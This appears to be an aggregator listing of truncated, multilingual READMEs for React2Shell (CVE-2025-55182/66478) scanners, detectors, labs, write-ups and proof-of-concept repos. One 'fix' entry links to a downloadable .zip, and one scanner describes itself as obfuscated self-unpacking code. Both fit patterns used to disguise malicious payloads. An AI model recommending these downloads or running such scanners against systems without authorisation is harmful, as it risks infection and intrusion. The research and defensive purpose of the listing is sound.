react2shell-ultimate

React2Shell Ultimate Scanner v2.0 CVE-2025-66478을 위한 전문가용 Next.js RSC RCE 취약점 스캐너 🎯 개요 React2Shell Ultimate는 CVE-2025-66478React Server ComponentsRSC를 사용하는 Next.js 애플리케이션에 영향을 미치는 치명적인 원격 코드 실행RCE 취약점을 위한 종합 취약점 스캐너입니다. 🆕 v2.0의 새로운 기능 버전 2.0에는 주요 개선 사항과 전문가용 기능이 포함되어 있습니다: ✨ 향상된 God Mode - 개선된 명령...

ReactOOPS-WriteUp

ReactOOPS - Описание прохождения веб-задачи HTB Автор : TheStingR - Team ISP1337Hackers Задача : ReactOOPS Web Платформа : Hack The Box Сложность : Очень легкая - УСТАРЕВШАЯ Дата решения : 13 декабря 2025 Содержание...

react2shell

React2Shell React Server Components 및 Next.js Server Actions에서 두 가지 치명적인 RCE 취약점을 탐지하기 위한 CLI 도구 및 Nuclei 템플릿입니다. 스캐너는 공개된 react2shell 취약점을 기반으로 재작성되었습니다. 취약점 개요 CVE-2025-55182 – React Server Components 역직렬화 RCE React Flight 역직렬화 프로세스의 결함으로 인해 사용자가 제어하는 참조가 서버 함수로 해석될 수 있으며, 이로 인해 원격 코드 실행이 발생할 수...

Next.js-RSC-RCE-Scanner-CVE-2025-66478

Next.js RSC RCE 스캐너 및 POC/익스플로잇 모음 CVE-2025-66478 Next.js 애플리케이션 버전을 배치로 감지하고 CVE-2025-66478 취약점의 영향을 받는지 확인하는 명령줄 스캐너입니다. 이 스캐너는 취약점을 악용하지 않습니다 취약점 설명 https://nextjs.org/blog/CVE-2025-66478 설치 전제 조건 Go 1.19 이상 Chrome/Chromium 브라우저 go-rod가 자동으로 다운로드합니다 root@kitploit: git clone...

react2shellVulnApp

React2Shell 易受攻击银行应用实验室 为 CVE-2025-55182 React 和 CVE-2025-66478 Next.js 特意构建的易受攻击银行应用，用于学习、检测并安全地实践 React2Shell。运行未修复的 React 19.0.0 和 Next.js 15.0.3。 概述 虚构的 SecureBank，基于 Next.js 应用路由器与 Server Actions 构建。 默认配置，无自定义危险代码，故意保持未修复状态。 旨在研究 RSC “Flight” 协议中的不安全反序列化，并练习检测/缓解措施。 快速启动（推荐 Docker）...

next-cve-2025-66478

NextJS CVE-2025-66478 Сканирует все проекты, уязвимые для CVE-2025-66478, в текущей рабочей директории и сообщает о них. Узнайте больше о CVE-2025-66478 Предупреждение Этот скрипт не исправляет никакие уязвимости. Он только их находит. Пожалуйста, обратитесь к этой статье, чтобы узнать больше об...

fix-react2shell-next

🚀 fix-react2shell-next — Исправьте уязвимости в вашем приложении https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 📥 Скачать сейчас 📝 Обзор fix-react2shell-next помогает вам устранить критическую проблему безопасности в вашем приложении...

react2shell-detector

React2Shell Detector 웹 애플리케이션에서 React2Shell 취약점CVE-2025-55182 및 CVE-2025-66478을 탐지하기 위한 Chrome 확장 프로그램입니다. 개요 React2Shell Detector는 보안 연구자와 웹 개발자가 웹 애플리케이션에서 잠재적인 React2Shell 취약점을 식별할 수 있도록 도와주는 브라우저 확장 프로그램입니다. 이 확장 프로그램은 안전한 탐지 페이로드를 대상 URL로 전송하고 응답을 분석하여 애플리케이션이 취약한지 여부를 판단합니다. 이 프로젝트는...

CVE-2025-66478-kinda-waf

kinda-waf 특정 페이로드 시퀀스를 대상으로 하는 간단한 임시 WAF 보호 테스터입니다. 웹사이트가 제대로 패치될 때까지 안전하게 유지되도록 도와줍시다! 목적 특정 페이로드 시그니처가 포함된 요청을 탐지하고 차단하여 CVE-2025-66478로부터 보호합니다. 정상적인 트래픽을 방해하지 않으며, 제대로 유지 관리되지 않는 웹사이트를 구합니다. 재시작 후에는 초기화되므로 영구적인 해결책이 아닙니다 요구 사항 Python 3 사용법 스크립트 실행 기본값: localhost: root@kitploit: python main.p...

React2Shell

RSC Sentinel WebアプリケーションにおけるReact2Shellの脆弱性（CVE-2025-55182およびCVE-2025-66478）を検出するためのFirefox拡張機能です。 👁️ 概要 RSC Sentinelは、セキュリティ研究者や教育者がブラウジング中にReact Server Components RSC やNext.js App...

react2shell-scanner

react2shell-scanner CVE-2025-55182 및 CVE-2025-66478 원격 코드 실행을 탐지하는 고정밀 명령줄 취약점 스캐너입니다. Next.js 애플리케이션에서 React Server ComponentsRSC를 사용하는 환경을 대상으로 합니다. 🚨 취약점 개요 이 치명적인 취약점들은 React Server Components를 사용하는 Next.js 애플리케이션에 영향을 미치며, 조작된 multipart POST 요청을 통해 인증되지 않은 원격 코드 실행을 가능하게 합니다. 영향을 받는 버전: 취약한 ...

evilact

evilact 빠른 취약점 스캐너로, React 서버 컴포넌트를 사용하는 Next.js 애플리케이션의 CVE-2025-55182 및 CVE-2025-66478을 대상으로 합니다. 대량 스캔, RCE 확인 및 고성능 동시 검사를 지원합니다. 설치 root@kitploit: git clone https://github.com/cypholab/evilact.git cd evilact go build -o scanner main.go 사용법 root@kitploit: 단일 URL ./scanner -url...

react2shell-scanner-CVE-2025-55182

React2Shell Enterprise Scanner CVE-2025-55182 및 CVE-2025-66478 에 대한 고충실도 취약점 스캐너 – React Server Components / Next.js의 원격 코드 실행 취약점. 📖 자세한 기술 분석, 익스플로잇 메커니즘 및 IOC 데이터는SECURITY-RESEARCH.md를 참조하세요. ⚠️ 면책 조항 이 도구는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 본인 소유이거나 명시적인 서면 허가를 받은 시스템에서만 이...

react2shell-scanner

react2shell-scanner Una herramienta de línea de comandos para detectar CVE-2025-55182 y CVE-2025-66478 en aplicaciones Next.js que utilizan React Server Components. Para obtener detalles técnicos sobre la vulnerabilidad y la metodología de detección, consulta nuestra publicación de blog:...

React19-fix-vibecoders

Промпты по исправлению уязвимостей React 19 и Next.js для AI-агентов 🚨 КРИТИЧЕСКАЯ УЯЗВИМОСТЬ - CVE-2025-55182 и CVE-2025-66478 Этот репозиторий содержит многократно используемые промпты, помогающие AI-ассистентам кодинга автоматически исправлять критические уязвимости React/Next.js. 📋 Что внутри...

CVE-2025-55182-CVE-2025-66478

CVE-2025-55182-CVE-2025-66478 스캐너 테스트...

React2Shell-CVE-2025-55182

🔥React2Shell - CVE-2025-55182 / CVE-2025-66478 概念実証 重大なセキュリティ脆弱性デモ - CVSS 10.0 - React Server Components におけるリモートコード実行 ⚠️免責事項 教育目的のみ！ このリポジトリは重大なセキュリティ脆弱性を示しています。 本番システムや公開ネットワークでは絶対に使用しないでください。 🚨脆弱性の詳細 CVE ID: CVE-2025-55182 React / CVE-2025-66478 Next.js CVSSスコア: 10.0 CRITICAL 影響を受ける: React...

React2Shell

React2Shell - CVE-2025-55182 & CVE-2025-66478 제작자: LAKSHMIKANTHAN K letchupkt 인스타그램: @letchupkt 버전: 2.0.0 난독화됨 날짜: 2025-12-07 🚀 빠른 시작 스캐너 실행하기 root@kitploit: python react2shell.py 끝입니다! 스캐너가: 1. 무결성을 검증합니다. 2. 코드를 압축 해제합니다. 3. 정상적으로 실행됩니다. 모든 기능은 완전히 동일하게 작동합니다! root@kitploit: 1 단일 URL 스캔 2 파일에서 ...

react2shell-scanner-rust

react2shell-scanner-rust Обнаружение CVE-2025-55182 и CVE-2025-66478 в приложениях Next.js/RSC. Установка root@kitploit: cargo build --release Использование root@kitploit: ./scanner -u https://example.com ./scanner -l hosts.txt -t 20 -o results.json ./scanner -u https://example.com --crawl...

React-Next-Scanner

React-Next-Scanner CVE-2025-55182 및 CVE-2025-66478 용 안전한 CLI 스캐너 이 도구는 최신 JavaScript 스택에 초점을 맞춘 경량의 비악용 취약점 스캐너로, 구체적으로 다음을 대상으로 합니다: CVE-2025-55182 의 영향을 받는 API 서비스 CVE-2025-66478 의 영향을 받는 Next.js 애플리케이션 지원 플랫폼: ✅ Windows ✅ Linux ✅ macOS ✨ 기능 크로스 플랫폼 Python CLI 스캐너 휴리스틱 및 안전한 프로빙 악용 없음 공개 핑거프린트 ...